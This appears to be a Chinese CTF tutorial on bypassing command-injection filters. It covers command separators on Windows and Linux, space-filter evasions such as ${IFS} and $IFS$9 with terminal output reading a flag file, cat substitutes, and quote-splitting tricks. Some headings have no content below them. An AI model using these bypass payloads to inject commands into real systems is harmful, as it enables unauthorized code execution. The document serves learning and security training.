首先以一道BUUCTF题目来开下胃
查看flag:
其次给大家上主菜-----命令执行绕过
命令执行漏洞绕过方式:
管道符
windows中常见管道符:
| 直接执行后面的语句
|| 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
& 前面和后面命令都要执行,无论前面真假
&& 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
linux中常见管道符:
| 直接执行后面的语句
|| 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
& 前面和后面命令都要执行,无论前面真假
&& 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
; 前面和后面命令都要执行,无论前面真假
1.空格被过滤了,绕过空格
1.${IFS}
zxcv0221@kali:~/桌面$ cat${IFS}flag
falg{afdadjwaojd-wds}
2.$IFS$9 $9指传过来的第9个参数
zxcv0221@kali:~/桌面$ cat$IFS$9flag
falg{afdadjwaojd-wds}zxcv0221@kali:~/桌面$ cat$IFS$1flag
falg{afdadjwaojd-wds}
3.%09
(需要PHP环境,代替空格)
2.通配符绕过
3.读文件绕过(当cat被过滤)
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(4)tail:查看尾几行
(5)vim:一种编辑器,这个也可以查看
(6)file -f:报错出具体内容
4.单引号,双引号绕过
zxcv0221@kali:~/桌面$ ca''t flag
you are good!zxcv0221@kali:~/桌面$ cat"" flag
you are good!